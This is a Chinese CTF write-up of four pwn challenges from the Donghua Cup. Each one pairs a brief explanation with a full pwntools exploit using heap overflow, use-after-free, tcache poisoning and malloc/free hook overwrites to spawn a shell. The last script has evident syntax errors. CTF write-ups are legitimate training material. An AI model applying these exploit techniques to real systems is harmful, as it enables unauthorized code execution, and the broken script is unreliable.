东华杯pwn(wp)

依旧只能打点pwn的菜鸡。

cpp1

libc2.31的漏洞,漏洞点如下,可以直接堆溢出,直接上exp。很正常的思路:填满tcache,泄露libc_base,改fd为hook,改hook为one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

debug = 0
if debug:
r = remote('47.104.143.202', 43359)
else:
r = process(file_name)

#r = remote('192.168.10.11', 9999)

elf = ELF(file_name)

libc = ELF('libc-2.31.so')

menu = '>>\n'

def dbg():
gdb.attach(r)

def add(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('I:>>\n', str(index))
r.sendlineafter('S:>>\n', str(size))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('I:>>\n', str(index))
r.sendlineafter('V:>>\n', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('I:>>\n', str(index))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('I:>>', str(index))


for i in range(7):
add(i, 0xf8)

add(7, 0xf8)
add(8, 0xf8)
add(9, 0x10)
add(10, 0x10)
add(11, 0x10)
add(13, 0x10)


for i in range(7):
delete(i)

delete(7)

add(7, 0x10)

add(12, 0x10)

show(12)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))

malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook = ' + hex(malloc_hook))

one = [0xe6c7e, 0xe6c81, 0xe6c84]
one_gadget = one[1] + libc_base

delete(10)
delete(11)

p1 = b'a' * 0x10 + p64(0) + p64(0x21) + p64(malloc_hook) + p64(0) + p64(0) + p64(0x21) + p64(malloc_hook)

edit(9, p1)

add(14, 0x10)
add(15, 0x10)
edit(15, p64(one_gadget))

add(16, 0x10)


r.interactive()

gcc2

这一题怎么说呢,正常的解法应该和上一题差不多,但是也不知道当时怎么了,发现了size为0时,可以直接堆溢出。我的解法就是堆溢出,因为限制了size大小,所以改fd为可以创建堆之前一的个大堆,再free掉那个大堆,就可以泄露libc_base了,接下来就是改hook为one_gadget了。

delete这里有一个漏洞uaf,没有清0。正常解法可以通过uaf,可以改写tcache的链表,指向chunk头,改size为unstortedbin大小泄露libc_base,最后直接利用uaf,tcache bin attack改hook为one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

context(arch='amd64', os='linux', log_level = 'debug')

file_name = './pwn'

debug = 0
if debug:
r = remote('47.104.143.202', 15348)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('libc-2.31.so')

menu = '>>\n'

def dbg():
gdb.attach(r)

def add(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('I:>>\n', str(index))
r.sendlineafter('S:>>\n', str(size))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('I:>>\n', str(index))
r.sendlineafter('V:>>\n', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('I:>>\n', str(index))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('I:>>', str(index))

add(0, 0)
add(1, 0)
add(2, 0)
add(3, 0)

p1 = b'a' * 0x10 + p64(0) + p64(0x41)
edit(0, p1)

delete(1)

delete(3)
delete(2)

add(4, 0x30)

show(2)

heap_addr = u64(r.recvuntil('\n', drop=True).ljust(8, b'\x00'))
success('heap_addr = ' + hex(heap_addr))

fake_addr = heap_addr - 0x12c90 + 0x10
success('fake_addr = ' + hex(fake_addr))

p1 = p64(fake_addr)

edit(2, p1)

add(5, 0)
add(6, 0)

delete(6)

add(7, 0)
add(8, 0)

show(8)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))

malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook = ' + hex(malloc_hook))

one = [0xe6c7e, 0xe6c81, 0xe6c84]
one_gadget = one[1] + libc_base

delete(7)
delete(2)

p2 = b'a' * 0x10 + p64(0) + p64(0x21) + p64(malloc_hook)
edit(4, p2)

add(9, 0)
add(10, 0)
edit(10, p64(one_gadget))

add(11, 0)

r.interactive()

bg3

这题的size大小可以创建很大,可以直接0x420,free之后再次申请就可以泄露libc_base了。这个题目最关键的是可以free之后还可以add相同的index。改fd为hook,hook改为one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context(arch='amd64', os='linux', log_level = 'debug')

file_name = './pwn'

debug = 0
if debug:
r = remote('47.104.143.202', 25997)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('libc-2.31.so')

menu = 'Select:\n'

def dbg():
gdb.attach(r)

def add(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter('Index:\n', str(index))
r.sendlineafter('PayloadLength:\n', str(size))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index:\n', str(index))
r.sendlineafter('BugInfo:\n', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index:\n', str(index))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index:', str(index))

add(0, 0x420)
add(1, 0x10)

delete(0)

add(0, 0x420)

show(0)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0
success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))

malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook = ' + hex(malloc_hook))

system = libc_base + libc.sym['system']

one = [0xe6c7e, 0xe6c81, 0xe6c84]
one_gadget = one[1] + libc_base

add(2, 0x18)
delete(2)

add(2, 0x18)
delete(2)

add(2, 0x18)
delete(2)

add(2, 0x18)

add(3, 0x18)
add(4, 0x18)

delete(4)
delete(3)

edit(2, p64(0) * 4 + p64(free_hook))

add(5, 0x18)

add(6, 0x18)
edit(6, p64(one_gadget))

delete(5)

r.interactive()

boom_script

c解释相关的题,和vm的pwn题有点类似。。。。。。

这题定义了三个数据结构,可以借助uaf,通过字符串的变换可以进行堆块的申请与释放,泄露libc_base,修改fd指向hook,再利用负索引,改hook为system,最后system(“/bin/sh”)拿shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

file_name = './z1r0'

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('libc.so.6')

menu = '$'

def dbg():
gdb.attach(r)

def run(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('length:', str(size))
r.sendafter('code:', content)

payload='''key1="{1}";
key2 = "{0}";
key3 = "sbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsbsb";
key4 = "sbsbsbsbsbsb";
array arr[20];
a = 0;
prints("input a:");
aa="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
bb="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
cc="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
dd="/bin/sh";
bb="/bin/sh";
inputn(a);
arr[21]=a;
ee="{2}";
arr[-13]=1970354902204423;
array fini[1];
inputn(a);
fini[0]=a;
bb="{3}";
'''.format('1'*0x700, '2'*0x10, 'A'*0x40, 'D'*0x60)

run(len(payload + 1) payload)

r.recvuntil("input a:")

leak_libc=u64(sh.recv(6).ljust(8, b'\x00'))
success("leak libc:"+hex(leak_libc))
libc_base=leak_libc-0x1ebe70
success("libc base:"+hex(libc_base))
r.sendline(str(libc_base+libc.sym['__free_hook']-0x28))
r.sendline(str(libc_base+libc.sym['system']))
r.interactive()